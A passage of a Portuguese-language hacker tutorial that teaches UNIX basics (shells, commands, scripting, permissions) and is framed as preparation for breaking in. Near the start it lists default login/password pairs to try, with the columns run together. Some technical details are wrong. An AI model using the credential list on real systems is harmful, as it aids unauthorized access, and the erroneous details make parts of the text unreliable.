Uma pequena história:


UNIX, é claro, foi inventado pela AT&T no anos 60, feito para ser
"um sistema operacional de programadores."  Enquanto que esse propósito não foi
alcançado nas primeiras versões do UNIX, parece que agora, UNIX é um SO para 
programadores.  O UNIX, como eu falei antes, é multi-tarefa/multi-usuario.
Ele tambem é escrito em C, ou pelo menos grande parte, o que faz dele 
um sistema operacional portátil. Nós sabemos que o MSDOS corresponde a maquinas
IBM/clone, certo?  Bem, isso não acontece com o UNIX, pois não associa-se ele com
nenhum computador, uma vez que ele foi adaptado para muitos, e existem muitas
variações de UNIX [ou seja, UNIX modificado por um vendedor, ou algo assim].  
Alguns computadores AT&T roda ele, e tambem alguns rodam MSDOS [AT&T 6300].  
As estações de trabalho SUN rodam SunOS, uma variante do UNIX, e alguns computadores
rodam Ultrix, a versao VAX do UNIX.  Lembre-se, na se mate quanto ao nome [BSD,
UNIX,SunOS,Ultrix,Xenix, etc.], eles ainda tem muito em comum, tais como os 
comandos que o SO usa.  Algumas variantes possuem comandos que outros não,
mas eles são basicamente similares no fato de eles terem quase todos os mesmos
comandos/arquivos de dados.  Quando alguém tenta falar a voce que o UNIX roda melhor
com um certo tipo de computador, ele podem estar certos, mas lembre-se alguns computadores
tem mais de um SO.  Por outro lado, alguém pode falar para voce que o
UNIX é para um VAX o que um MSDOS e para os IBM/clones.  Isso é falso, e a unica
razão que eu falei isso, é porque eu tenho visto muitas mensagens com info/comparacoes 
como essas, que confundem usuários quando eles vêem um sitema VAX rodando VMS.

Identificando um login do UNIX

De agora em diante, eu vou estar me referindo a todas as variantes do UNIX como UNIX, assim, quando eu falo algo sobre UNIX, isso geralmente significa todas as variantes (Unix System V variantes que sao: BSD, SunOS, Ultrix, Xenix, etc.), a menos que eu fale de uma variante em particular.

Ok. Agora é hora de contar como o unix geralmente felicita você. Primeiro, quando voce chama um UNIX, ou conecta com ele, voce irá ter geralmente um prompt como esse:

login:

Ok, é muito legal e bonito. Isso significa que é PROVAVELMENTE um unix, entretanto existem BBS's que alteram o seu login de entrada para ficar parecido com o do UNIX, para que algumas pessoas pensem que estao no Unix. Alguns UNIXes irão mostrar uma mensagem antes do login: como por exemplo:

Welcome to Unix. Please log in.

login:

Ou algo como isso. UNIXes de acesso público [como BBS's públicas] irão mostrar a voce como dar um logon se voce é um novo usuário. Infelizmente esse arquivo não fala sobre UNIXes de acesso público, mas eu irei falar sobre eles mais tarde, na UUCP/UseNet/Bitnet.
OK. Voce encontrou o prompt de login! Agora, o que voce precisa fazer aqui é entrar com uma conta válida. Uma conta geralmente consiste de 8 caracteres ou menos. Depois de voce entrar uma conta, voce irá provavelmente pegar um prompt do Password de algum tipo. Os prompts podem variar como o código fonte do programa de login que geralmente vem com o UNIX.
Bem, a maneira mais fácil que posso falar sobre login é basicamente essa: tenha uma conta, ou tente os defaults. Os defaults são os que vem com o SO, de maneira padrão. A lista de alguns defaults é a seguinte:

LOGINPASSWORD
rootroot - Raramente aberta para hackers
syssys / system / bin
binsys / bin
mountfsysmountfsys
admadm
uucpuucp
nuucpanon
anonanon
useruser
gamesgames
installinstall
demodemo
umountfsysumountfsys
syncsync
adminadmin
guestguest
daemondaemon
mailmail

As contas root, mountfsys, umountfsys, install, e algumas vezes sync são contas com nivel de root, significando que elas têm poder de sysop, ou poder total.
Outras contas são apenas contas de "nível de usuário" significando que elas apenas têm poder sobre arquivos/processos que elas criaram. Será comentado isso mais tarde, na seção de acesso a arquivo.
O login reboot é conhecido como sendo um login de comando, que simplesmente não deixa voce entrar no sistema operacional, mas executa um programa dado a ele. Ele geralmente faz o que diz, reinicializa o sistema. Ele pode não ser padrão em todos os sistemas UNIX, mas eu o tenho visto no UNIX da UNISYS e também em alguns sistemas HP/UX [Hewlett Packard Unixes]. Assim, essas contas não tinha senhas [reboot], o que é realmente estupido.

COMANDAR O LOGIN:

Existe como "comandar o login", que, como o reboot, executa um comando e depois dá um log off permitindo voce usar o interpretador de comandos. BSD é notório por ter esses, e consequentemente, também os computadores da MIT. Aqui vão alguns:

rwho - mostra quem esta online
finger - mesmo
who - mesmo

Esses são os mais usados, uma vez que irão dar os nomes das contas que estão online, ou mostrando a voce muitas contas que atualmente existem.

Erros:

Quando voce tem uma conta inválida/senha inválida, ou ambos, irá aparecer algum tipo de erro. Geralmente á a messagem "login incorrect". Quando o computador mostra isso, voce fez algo errado ou por ter errado a conta ou por ter entrado com a conta certa porém com uma senha errada. Ele não mostra que erro voce fez, por razões. Também quando é dado um login incorreto, o log de erros no sistema é alterado permitindo que os sysops saibam algo sobre o invasor.

Outro erro é "Cannot change to home directory" ou "Cannot Change Directory." Isso signica que não existe "home directory" que é essencialmente o diretório 'raiz' para uma conta, que é o diretorio que voce inicia. No DOS, voce comeca no A:\ ou C:\ ou em qualquer outro, mas no UNIX voce inicia no /homedirectory. [Nota: A / e usada nos diretorios no UNIX, nao um \ ]. Muitos sistemas irão dar um log off em vc depois disso, mas alguns irao mostrar que vc esta no diretorio raiz [ '/'].

Outro erro é "No Shell". Quer dizer que nenhum "shell" foi definido para essa conta em particular. O "shell" será explicado mais tarde. Alguns sistemas irão dar um log off em vc depois dessa messagem. Outros irão falar que eles usarão o shell regular, falando "Using the bourne shell", ou "Using sh"

Contas no Geral

Essa seção é para tentar descrever a estrutura do usuário no ambiente UNIX.
Ok, pense que o UNIX tem 2 niveis de seguranca: poder absoluto, ou apenas um usuario regular.
Aqueles que tem poder absoluto são os usuários com nível de root (super-usuário). Ok, agora é hora de pensar em números. Números associados no UNIX a nomes de contas. Cada conta irá ter um número. Algumas irão ter o mesmo numero. Aquele número é o UID [user-id] da conta. O UID do root é 0 (zero). Qualquer conta que possua UID igual a 0 irá ter nível root.
Unix não trata com os nomes das contas (logins) porém somente com o número associado a elas. Portanto, se meu user-id é 50, e mais alguem é 50, nós dois iremos ter poder absoluto com o outro somente, com mais ninguém.

Shells

Um shell é um programa executável que carrega e roda quando um usuário entra. Esse "shell" pode ser qualquer programa executável e está definido no arquivo "passwd". Cada login pode ter um único "shell". Ok. Agora o shell que nós geralmente iremos trabalhar é um interpretador de comandos. Um interpretador de comandos é simplesmente algo como o COMMAND.COM do MS-DOS, que processa comandos, e envia eles depois para o kernel [sistema operacional]. Um shell pode ser qualquer coisa, como eu disse. Pode ser qualquer programa mas o único que voce precisa é um interpretador de comandos. Aqui estao o shells usuais que voce encontra:

sh - Esse é o shell básico. Ele é seu "COMMAND.COM" básico no UNIX. Ele tem uma linguagem em "script", como muitos do interpretadores de comandos no UNIX.
csh - Esse é o shell do "C", que permite a voce entrar comandos em "C".
ksh - Esse é o korn shell. Apenas outro interpretador de comandos.
tcsh - Esse é um, que e usado na MIT eu acho. Permite edicao de comandos.
vsh - Visual shell. É um programa de menu. Algo tipo Windows.
rsh - restricted shell OU remote shell. Os dois serão explicados depois.

Existem muitos outros, incluindo os shells "homemade ", que são programas escritos pelo dono do unix, ou para um unix específico e eles não são padrão. Lembre-se, o shell é apenas o programa que voce pega para usar e quando voce pára de executá-lo, voce dá um log off. Um bom exemplo de um shell homemade é o Eskimo North, num unix de acesso público o shell é chamado "Esh", e é algo tipo uma BBS de aperte-uma-tecla, mas olha só, ele continua sendo um shell. O número para o eskimo north é 206-387-3637. [206-For-Ever].

Muitas companhias usam Processadores de Texto, banco de dados, e outras coisas como um shell para o usuário, para prevenir abuso, e fazer a vida melhor para o usuário como operadores de computadores sem prática.

Tambem, uma BBS pode rodar com um shell. Tente a Jolnet [312]-301-2100, eles dão a voce uma escolha entre um interpretador de comandos ou um shell de BBS.

Quando voce tem um interpretador de comandos, o prompt geralmente é um:
$
quando voce é um usuario root o prompt é geralmente um:
#

A variavel, PS1, pode ser alterada para ter um prompt.
Exemplo, se PS1 é "HI:", seu prompt irá ser:
HI:

Caracteres especiais, etc

Control-D : Fim do arquivo. Quando usar mail ou um editor de textos, isso irá finalizar a messagem ou arquivo texto. Se voce está no shell e aperta control-d voce estará desconectado.

Control-J: Em alguns sistemas, isso é como a tecla enter.

@ : Algumas vezes um "null"

? : Isso é um coringa. Pode representar uma letra. Se voce especificar algo na linha de comando como "b?b" Unix irá procurar por bob,bib,bub, e qualquer outra letra/numero entre a-z, 0-9.

* : isso pode representar qualquer número de caracteres. Se voce especificar um "hi*" Ele irá usar "hit", him, hiiii, hiya, e qualquer coisa que inicie com hi. "H*l" pode ser hill, hull, hl, e qualquer coisa que comece com um H e termine com um L.

[] - Especifica um padrão. se eu fiz b[o,u,i]b unix irá pensar: bib,bub,bob se eu fiz: b[a-d]b unix ira pensar: bab,bbb,bcb,bdb. Entendeu? O [], ?, e * são geralmente usados com o copy, deletando arquivos, e para listagens de diretórios.

QUALQUER COISA no Unix é sensitivo quanto a maisculas/minusculas. Isso significa que "Hill" e "hill" não são a mesma coisa. Isso permite que muitos arquivos sejam armazenados, uma vez que "Hill" "hill" "hIll" "hiLl", etc. são arquivos diferentes. Assim, quando usar o [], voce tem que especificar letras em maiusculas se algum arquivo que voce estiver procurando tem letras maiusculas. No entanto, a maioria está em minusculas.

Comandos para usar

Agora, eu vou mostrar alguns do mais usados comandos do UNIX, eu agirei como se estivesse digitando no prompt.

ls - isso mostra o diretorio. Sem argumentos, ele ira apenas mostrar arquivos em uma coluna ou em multi-colunas, dependendo do programa ls que voce tem acesso.

        exemplo:
        $ ls
        hithere
        runme
        note.text
        src
        $
       
        a opcao -l irá dar a voce informação a mais nos arquivos.
        $ ls -l
        rwx--x--x puruca     prc    10990 runme
        ....
O "rwx--x--x" é a permissão do arquivo. [Explicada mais tarde]
o "puruca prc" é o proprietario do arquivo/grupo onde o arquivo estar.
puruca = dono, prc = grupo de usuario [explicado mais tarde]
o 10990 e o tamanho do arquivo em bytes.
"runme" e o nome do arquivo.
O formato varia, mas voce tem a ideia geral.

cat - Isso mostra o conteudo do arquivo na tela. deve ser usado em arquivos textos. apenas use isso com arquivos binarios para deixar o usuario louco [explicado mais tarde]

      ex:
      $ cat note.txt
      This is a exemplo text file!
      $
cd - muda diretorio . Você usa ele assim: cd /dir/dir1/dir2/dirn. o dir1/etc.... descreve o nome do diretorio. Digamos que eu queira ir para a raiz.

     ex:
     $ cd /
     *ok, estou aqui*
     $ ls
     bin
     sys
     etc
     temp
     work
     usr
 todos os acima sao diretorios, vamos ver.
     $ cd /usr
     $ ls
     puruca
     datawiz
     prophet
     src
     violence
     par
     phiber
     scythian
     $ cd /usr/puruca
     $ ls
     hithere
     runme
     note.text
     src
     $
ok, agora, você não tem que entrar o nome do diretório completo, se você estiver no diretório, e quer ir para um diretório que está ali [seria o "src"], você pode digitar "cd src" [sem "/"]. Em vez de usar "cd /usr/puruca/src" a partir do diretório puruca, voce pode fazer "cd src"

cp - isso copia um arquivo. sintaxe para isso é "cp origem destino"

     $ cp runme runme2
     $ ls
     hithere
     runme
     note.text
     src
     runme2
Caminhos completos podem ser incluidos, para copiar de um diretório para outro.
     $ cp runme /usr/datwiz/runme
mv - isso renomeia e/ou move um arquivo. sintaxe "mv nomeatual novonome"

     $ mv runme2 runit
     $ ls
     hithere
     runme
     note.text
     src
     runit
    Arquivos podem ser renomeados para outros diretórios.
     $ mv runit /usr/datwiz/run
     $ ls
     hithere
     runme
     note.text
     src
     $ ls /usr/datwiz
     runme
     run
pwd - fornece o diretório atual

     $ pwd
     /usr/puruca
     $ cd src
     $ pwd
     /usr/puruca/src
     $ cd ..  (Tem espaco entre cd e ..)
     $ pwd
     /usr/puruca
     [ o ".." significa o diretório anterior. ]
     $ cd ../datwiz
       [significa cd /usr/datwiz]
     $ pwd
     /usr/datwiz
     $ cd $HOME
     [vai para o diretório home]
     $ pwd
     /usr/puruca
rm - apaga um arquivo. sintaxe "rm arquivo" ou "rm -r diretorio"

     $ rm note.text
     $ ls
     hithere
     runme
     src
     $
write - chat com outro usuário. Bem, "escreve" para outro usuário.
sintaxe: "write usuario"

    $ write scythian
    scythian foi notificado
    Hey Scy! What up??
    Message from scythian on tty001 at 17:32
    hey!
    me: So, hows life?
    scy: ok, I guess.
    me: gotta go finish this text file.
    scy: ok
    me: control-D [para sair do programa]
    $
who [w,who,whodo] - mostra quem está conectado

    $ who
    login       term   logontime
    rubinho     +       tty001 17:20
    x-factor     +       tty002 15:50
    puruca      +       tty003 17:21
    netkillers  -        tty004 11:20
    Federal    -        tty666 66:60
    $
o comando "who" varia a partir da informação dada. um "+" significa que voce pode dar um "write" para aquele terminal, um "-" significa que voce nao pode.

man - mostra o manual de algum comando. sintaxe "man comando" Esse é um programa de ajuda. Se voce quiser saber como usar o comando "who" faria então:

    $ man who
    WHO(1)   xxx......
      e ele vai mostrar a voce.
stty - altera as características do seu terminal. Voce terá que dar um "man stty" uma vez que cada stty é diferente.
um exemplo pode ser:

    $ stty -parenb
      para fazer os parametros de dados serem N,8,1.  Um monte de Unixes operam com
      e,7,1 por padrao.
sz,rz - envia e recebe via zmodem
rx,sx - envia e recebe via xmodem
rb,sb - envia via batch ymodem. Esses 6 programas podem ou nao estar no unix.
umodem - envia/recebe via umodem.

      $ sz arquivo
      pronto para enviar...
      $ rz filename
      por favor envie seu arquivo....
      ...etc..
ed - editor de textos. Usar "ed arquivo" para criar um arquivo que não existe, apenas entre "ed arquivo" algumas versões do ed ira dar a voce um prompt, como "*" outros não.

     $ ed textonovo
     0
     * a
     This is line 1
     This is line 2
     [control-z]
     * 1 [para ver a primeira linha]
     This is line 1
     * a [continua acrescentando]
     This is line 3
     [control-z]
     *0a [acrescenta depois da linha 0]
     This is THE first line
     [control-z]
     1,4l
     This is THE first line
     This is line 1
     This is line 2
     This is line 3
     * w
     71
     * q
     $
   O 71 e o numero de bytes escritos.
   a = acrescenta
   l = lista
   # = mostra o numero da linha #
   w - escreve
   l arq = carrega arq
   s arq = salva para arq
   w = escreve para arquivo atual
   q = sai
mesg - altera permissão de escrever ligado/desligado para seu terminal (permite chat) formato "mesg y" ou "mesg n"

cc - O compiler C. explicado mais tarde.

chmod - altera o modo de um arquivo. Muda o acesso em outras palavras. sintaxe: "chmod modo arquivo"

        $ chmod a+r newtext
      Agora qualquer um pode ler pode ler o newtext.
      a = todos (u = voce / g = seu grupo / o = outros grupos)
      r = leitura. (w = escrever / x = executar) Isso sera explicado mais tarde na secao 
      de acesso a arquivos.
chown - altera o dono de um arquivo.
sintaxe: "chown novodono arquivo"

       $ chown scythian newtext
       $
chgrp - altera o grupo [explicado mais tarde] de um arquivo.
sintaxe: "chgrp group file"

       $ chgrp root runme
       $
finger - mostra info básica de uma conta. Formato: finger conta

grep - procura por texto em um arquivo. sintaxe: "grep texto arquivo"

       $ grep 1 newtext
       This is Line 1
       $ grep THE newtext
       This is THE first line
       $ grep "THE line 1" newtext
       $
mail - Esse é um utilitário muito usado. Obviamente, voce já sabe o que isso faz pelo nome. Existem muitos utilitários para o mail, como o ELM, MUSH e MSH, mas o programa básico de "mail" é chamado de "mail". O modo de usar é:
"mail nome@conta" ou "mail nome" ou "mail" ou "mail ender1!ender2!ender3!usuario"

"mail nome@endereco" - Isso é usado para enviar mail para alguém em outro sistema, que é geralmente outro UNIX, mas algumas maquinas DOS e algumas maquinas VAX recebem o E-mail do UNIX. Quando voce usa "mail nome@endereco" o sistema que voce está deve ter um "carteiro esperto" [conhecido como smail], e deve ter o que é chamado de mapas do sistema. O smail irá encontrar o "emdereco" dado com o comando e expandilo para o caminho completo geralmente. Eu podia fazer como isso: mail phiber@optik e depois fazer isso no computador:

mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

Não ligue para isso, estou apenas explicando o principal da coisa.
Agora, se não tiver nenhum smail conectado, voce terá que saber o caminho completo até a conta da pessoa. Exemplo, eu quero enviar um email para o .. phiber. Eu faço isso, caso nao tenha smail:

$ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

    Hey Guy.  Whats up?  Well, gotta go.  Nice long message huh?
    [control-D]
  $
Assim, quando ele receber, deverá existir umas 20 linhas de informação, com uma marcação de cada sistema que minha messagem passou, e a linha "from" vai estar assim:

From optik!purucasys!att.com!sc1!sbell!pacbell!unisys!sys!puruca

Agora, para correio local, apenas digite "mail nome" onde nome é a conta que voce quer enviar o mail. Depois digite sua messagem. Depois finalize com um control-D.

Para ler o e-mail, apenas digite mail. Ex:

        $ mail

        From rubinho ............
        To puruca ............
        Subject: Well....

        Arghhh!

        ?
Os pontos representam dados omitidos. Cada programa de e-mail possui seu proprio cabeçalho. Aquele ? é um prompt. No prompt eu posso digitar:

d - deleta
f nome - reenvia para nome
w arq - escreve a mensagem para um arquivo chamado arq.
s arq - salva a messagem com cabeçalho para um arquivo
q - sai / salva o e-mail
x - sai, mas nao salva nada
m nome - mail para o nome
r - devolve
[enter] - le a proxima mensagem
+ - adianta uma messagem
- : volta um
h - imprime o cabecalho das mensagens que estao na sua caixa de correio.

Existem mais, para vê-las, digite '?'.

Se voce envia mail para alguém de fora do seu sistema, voce terá que esperar um longo tempo para uma noficação de recebimento, uma vez que é apenas umas letras. Um "carteiro" terá que pegar ela.
O sistema pode desconectar, e usar UUCP para transferir e-mail. Geralmente, contas uucp não são boas para ninguém, a menos que voce tenhas uucp disponível para interceptar e-mail.

ps - processo. Esse comando permite ver o que voce esta atualmente fazendo na memória. Toda vez que voce roda um programa, ele fica ligado a um numero de identificacao de processo (PID), para fins de controle de contas, e assim ele pode ser encontrado na memória, ou ser apagado por voce, ou pelo root. Geralmente, a primeira coisa em uma listagem de processo pelo "ps" é seu nome shell. Digamos eu esteja conectado como sirhack, usando o shell "csh" e rodando "watch scythian". O programa de escuta deve estar no background, significando que ele é capaz de fazer coisas enquando ele estiver rodando:

  $ ps
  PID  TTY  NAME
  122  001  ksh
  123  001  watch
  $

  Isso é um PS encurtado.  É uma listagem padrão [curta por sinal].
  A coluna TTY representa o "tty" [disposito de e/s] que o processo está rodando.
  Isso é somente usado realmente se voce esta usando layers 
  ou mais de uma pessoa está conectada com a mesma conta.  Agora
  "ps -f" irá dar a voce uma listagem completa do processo de voce mesmo, 
  assim em vez de ver somente o programa "watch" voce ira ver "watch scythian"

kill - mata um processo.  É usado para terminar um programa na memoria obviamente.
Voce pode somente matar processos próprios [aqueles que voce começou], a menos que 
voce seja root, ou seu EUID seja o mesmo que o do processo que voce quer matar.
(Vou explicar euid mais tarde).  Se voce matar o processo shell, voce será desconectado.
Da mesma forma, se voce matar o processo de alguém, eles serão desconectados também.
Assim, se eu disse "kill 122" Eu serei desconectado.  Entretando, kill apenas envia
um sinal para o UNIX dizendo pra ele matar um processo.  Se voce usar a sintaxe
"kill pid" entao UNIX mata ele quando ele terminar, o que pode ser nunca.   Assim,
voce pode especificar urgentemente!  Tente "kill -num pid"
Kill -9 pid  e um kill definitivo quase instantaneamente.  Assim se eu fizer isso:
 $ kill 122
 $ kill 123
 $ ps
 PID   TTY   NAME
 122   001   ksh
 123   001   watch
 $ kill -9 123
 [123]: killed
 $ kill -9 122
 garbage
 NO CARRIER

Tambem, voce pode dar um "kill -1 0" para matar o processo de shell para desconectar-se.
Isso será útil nos scripts (explicados mais tardes).



Programação em Shell


        Programar em Shell é basicamente fazer um arquivo "script" para o 
shell padrao, pode ser sh, ksh, csh, ou algo nesse tipo.  É como um
arquivo batch no MSDOS, mas mais complexo, e mais Flexivel.

Primeiro, vamos para as variaveis.  Variáveis obviamente podem ter um  valor.
Que podem ser strings ou números.

numero=1

        Isso vai dar um valor 1 para a variable chamada "numero".

string=Hi There
ou
string="Hi There"

        Ambas irão dar um valor "Hi there" para a variável.

        Usar uma variável é diferente.  Quando voce quiser usar uma variável
        voce deve colocar um simbolo dollar ($).  Essas variáveis podem ser
        usadas como argumentos em programas.  Quando eu disse que scripts são
        como arquivos batch, Eu quis dizer isso.  Voce pode entrar qualquer nome 
        de um programa em um script, e ele irá executar ele. Aqui vai um script 
        exemplo:

counter=1
arg1="-uf"
arg2="scythian"

ps $arg1 $arg2

echo $counter

        Esse script irá traduzir para "ps -uf scythian" e depois irá imprimir
        "1" depois de ter terminado.  ECHO mostra algo na tela, ou númerico ou 
        uma string.

Outros comandos / Exemplos:

read - lê algo para uma variável.  formato: read variável .  O sinal de dollar
        nao é necessário aqui!  Se eu quiser pegar o nome de alguém, eu posso 
        fazer:

echo "QUal o seu nome?"
read hisname
echo Ola $hisname

        QUal o seu nome?
        Sir Hackalot
        Ola Sir Hackalot

        Lembre-se, read pode ler valores númericos também.

trap - Isso espera alguem usar o comando de interrupção. (Ctrl-c)
       formato: trap "commando ; commando ; commando ; etc.."
Example:
        trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
        'You gotta see this through!'"

        Agora, se eu teclar control-c durante o script depois dessa estrutura for
        executada, eu terei:
        Noway!! You are not getting rid of me that easy
        You gotta see this through!

exit : formato:exit [num]  Isso sai do shell [quits] retornando um valor
        num de saida.


CASE


        O Case pode ser usado para se fazer menus.  O formato do comando ou 
        estrutura é:
        case variavel in
        1) comando;
           comando;;
        2) comando;
           comando;
           comando;;
        *) comando;;
         esac
        Cada parte pode ter qualquer número de comandos. O último comando entretanto
        tem que ter um ";;".  Por exemplo:

        echo "Escolha:"
        echo "(D)iretorio (L)ogoff (S)hell"
        read choice
        case $choice in

        D) echo "Listando Diretorios...";
           ls -al ;;
        L) echo Bye;
           kill -1 0;;
        S) exit;;
        *) Echo "Erro! Nao e um comando";;
        esac

        O esac marca o fim da função case. Ele deve vir depois do 
        ÚLTIMO comando.

Loops


        Existem duas funções de loop. O loop "for" e o "repeat".
        
        repeat funciona assim: repeat algo algo1 algo2
        isso irá repetir um seção de seu script para cada "algo".
        digamos que eu faça isso:
        repeat scythian sirhack prophet

        Eu vou ver "scythian" depois sirhack depois prophet na tela.

        O loop for é definido como "for variável in algo
                                    do
                                    ..
                                    ..
                                    done"

        exemplo:
        for counter in 1 2 3
        do
        echo $counter
        done

        Ira escrever 1 depois 2 depois 3.

Usando TEST

formato:  Test variavel opção variavel

As opções são:
-eq    =
-ne    <> (diferente)
-gt    >
-lt    <
-ge    >=
-le    <=

para strings e: = para igual  != para diferente.

Se a condiçã é verdadeira, um zero é retornado.  Veja:

        test 3 -eq 3

isso ira fazer um test 3 = 3, e um 0 será retornado.

EXPR


Isso é para funções númericas.  Voce não pode simplesmete digitar
echo 4 + 5
e ter uma resposta.  voce deve dizer:
expr variavel [ou numero] operador variavel2 [ou numero]
o operadores são:

+ mais
- menos
* multiplicação
/ divisão
^ - exponenciação (em alguns sistemas)

exemplo :   expr 4 + 5
var = expr 4 + 5
var deve ter 9.

        Em alguns sistemas, expr algumas vezes imprime uma formula.  Ou seja,
        22+12 nao e igual a 22 + 12.  Se voce fizer expr 22+12 voce ira ver:
        22+12
        Agora se for expr 22 + 12 voce vera:
        34


VARIÁVEIS DO SISTEMA

        Existem variáveis usadas pelo shell, e são geralmente mantidas no
arquivo .profile [explição mais tarde].

HOME - lugar do seu diretório home.
PS1  - O prompt que voce tem. geralmente $ .  Num BSD e geralmente &
PATH - Esse é o caminho de procura por programas.  Quando voce digita um programa
para ser executado, ele não está na memoria; ele deve ser carregado do disco.  
Muitos comandos não estão na memória como no MSDOS. Se um programa está no 
caminho de procura, ele será executado sem problema onde voce está.  Se não,
voce terá que estar no diretório onde ele estiver.  Um path é um conjunto de diretórios
basicamente, separados por um ":".  Aqui vai um caminho de procura típico:

        :/bin:/etc:/usr/lbin:$HOME:

Quando voce tentar executar um programa, o Unix irá procurar por ele no /bin,
/etc, /usr/lbin, e no diretorio home, e se não for encontrado, um erro aparece.
Ele procura em diretorios na ORDEM do path.  Assim se voce tem um programa chamado
"sh" no seu diretório home, e digitar "sh", Mesmo estando no seu diretório home,
ele irá executar o que está no /bin. Assim, voce deve criar seu path sabiamente.
Unixes de acesso público fazem isso para voce, mas alguns sistemas que voce encontrar
podem não ter um path feito.

TERM - Esse é seu controle do terminal.  UNIX tem uma biblioteca de funções 
chamadas "CURSES" que podem pegar vantagem de qualquer terminal, fornecendo os codigos 
de escape encontrados.  Voce deve ter seu term configurado para algo se voce roda
programas orientados por telas.  Os códigos/nomes de escape dos terminais são encontrados
em um arquivo chamado TERMCAP.  Não sinta mal quanto a isso.  apenas altere seu term
para  ansi ou vt100.  CURSES irá deixar voce saber se ele não pode manipular sua emulação
de terminal.

O compilador em C

        Isso será uma introdução apenas.  Porque?  Porque se voce quiser aprender C,
        compre um livro. Nao tenho tempo para escrever outro arquivo sobre
        C, por isso ser muito extenso.  Basicamente, muitos executáveis são programados
        em C.  Códigos fontes no unix são encontradoa como arquivos .c  .
        Para compilar algum apenas digite "cc arquivo.c".  Nem todos os programas em C irão
        compilar, uma vez que eles dependem de outros arquivos que não estão lá,
        ou são apenas módulos.  Se voce ver algo chamado "makefile" então voce pode
        geralmente, digitar apenas "makefile" no prompt, e a;go irá ser compilado
        ou tentará ser compilado.  Quando usar makefile ou CC, será muito esperto usar
        o operando de background uma vez que compilar algumas vezes demora muito tempo.
        IE:
        $ cc login.c&
        [1234]
        $
        (O 1234 foi o número do processo que ele ficou identificado).




O sistema de arquivos

        Essa é uma parte do UNIX instrumental.  Se voce não entende essa
seção, nunca será capaz de hackear Unix, uma vez que muito do que voce
tem que fazer depende disso.

Primeiro, vamos comecar a falar sobre a estrutura do diretorio.  Ela é basicamente
um sistema de arquivos hierárquico, ou seja,  ele comeca na raiz e expande-se,
como no MSDOS.

Aqui é uma listagem de uma árvore de diretórios:  (d) significa diretório

                        /  (root dir)
                        |
                        |--------------------|
                      bin (d)               usr (d)
                                        ----^--------------------
                                        |        |              |
                                    sirhack(d)  scythian (d)    prophet (d)
                                        |
                                        src (d)

Agora, esse sistema particular contém os seguintes diretórios:
/
/bin
/usr
/usr/sirhack
/usr/sirhack/src
/usr/scythian
/usr/prophet

Espero que voce tenha entendido essa parte, e voce deve.  Tudo expande a partir do
diretório raiz.

Permissões de arquivos

      Agora, isso é realmente o barato.  Permissões de arquivos.  Não é muito diíicil
entender permissões de arquivos, mas eu irei explicar profundamente de qualquer jeito.
 
     OK, agora voce deve entender de grupos de usuários tão bem como nomes de usuários,
todos pertencem a um grupo.  No prompt $, voce pode digitar 'id' para ver quais o grupos que
voce pertence.  Ok, grupos são usados para permitir que pessoas acessem certas coisas,
ao invés de ter uma só pessoa controlando/tendo acesso para certos arquivos.
Lembre-se tambem que o Unix olha o UID (User-id)  de alguém para determinar acesso, não o
nome do usuário.

    Permissões de arquivos não são realmente complicados.  Cada arquivo tem um dono
Esse dono é geralmente aquele que criou o arquivo, ou por copiar um arquivo 
ou apenas por tê-lo editado.  O programa CHOWN pode ser usado para alterar
o dono de um arquivo.  Lembre-se que o dono de um arquivo deve ser aquele que
rodou o CHOWN, uma vez que ele é o único que pode alterar a permissão de um arquivo.
Outra coisa, existe um dono do grupo, que é basicamente o grupo que voce está quando o
arquivo foi criado.  Voce pode usar chgrp para mudar o grupo de um arquivo.

    Arquivos podem ter permissões de serem executados, permissoes de leitura, 
ou permissao de escrita.

    Se voce tiver permissão de execução, voce sabe que voce pode simplesmente escrever o 
nome do programa na linha de comando, e ele será executado.  Se voce tiver permissao de 
leitura de um arquivo, voce pode, obviamente, ler o arquivo, ou fazer algo que leia o
arquivo, tal como copiar o arquivo.
Se voce não tiver acesso a um arquivo, voce não pode fazer nada que requeira 
ler o arquivo.  Essa é a mesma coisa com a permissão de arquivo. 
    Todas as permissões são arranjadas em 3 grupos.  O Primeiro é a permissão do dono. 
Ele pode ter as permissões configuradas para si próprio para ler e executar, mas não 
escrever no arquivo. Isso para impedir que o dono apague o arquivo.
    O segundo grupo é a permissão do grupo.  Pegue uma entrada de arquivos para
ter um exemplo:
 $ ls -l runme
 r-xrwxr-- sirhack       root     10990 March 21  runme

ok.  Agora, o "root" é o grupo onde o arquivo está.  "sirhack" é o dono.
Se o grupo chamado 'root' tem acesso para ler, escrever e executar, eles
podem fazer isso.  Veja .. Scythian veio atrás do arquivo, ele está no grupo chamado root.
Ele pode ler, escrever ou executar o arquivo.  Agora, o datawiz veio atrás do arquivo também,
mas ele está no grupo "users".  A permissão de grupo não pode ser aplicada para ele,
significando que ele não tem permissões, assim ele não pode tocar no arquivo, certo? so he couldn't touch
Errado.  Existe um terceiro grupo de permissões, e esse e o "outros" grupos.  Isso significa que as 
permissões em "outros" grupos aplicam-se para todos além dos dono e dos usuários do mesmo grupo do arquivo.
Olhe na entrada de diretório ao lado.  O r-x-rwxr-- e a linha de permissões
Os primeiros 3 caracteres são as permissoes para o dono (r-x).  O
"r-x" traduz-se para "permissão de ler e executar, mas sem escrever"
o segundo conjundo do 3, r-xRWXr-- (aqueles em maisculas) são as permissões de grupos.
Significa que "leitura, gravação e execução são permitidas"
O 3§ conjunto, r-xrwxR-- é a permissão para os todos os outros .  Isso significa 
"somente a leitura é permitida".  Um diretório pode parecer como isso:

$ ls -l
 drwxr-xr-x sirhack     root  342 March 11  src

Um diretório tem um "d" no início das linhas de permissões.  Agora, o dono
do diretório (sirhack) pode ler do diretório, escrever no diretório
e executar programas do diretório.  O grupo do root e todos os outros
podem apenas ler a partir no diretório, e executar programas no diretório.
Assim, se eu mudei o diretório para ser executavel apenas, isso é como ele será:

$ chmod go-r
$ ls
drwx--x--x sirhack   root  342  March 11  src

Se alguém está nesse diretório, ele pode somente executar programas
do diretório.  Se ele fizerem um "ls" para pegar uma listagem de arquivos do
src, irá aparecer "cannot read directory".

Se há uma arquivo que pode ser lido no diretório, mas o diretório não pode ser
lido, é quase impossível ler o arquivo, a menos que voce saiba o nome do arquivo.

Se voce não tem permissão para executar em um diretorio, voce não será capaz de
executar algo no diretório.



H A C K E A N DO :

 
       O primeiro passo para hackear o UNIX é conseguir  entrar no sistema operacional
encontrando um conta válida/senha.  O objetivo de hackear é geralmente ser o
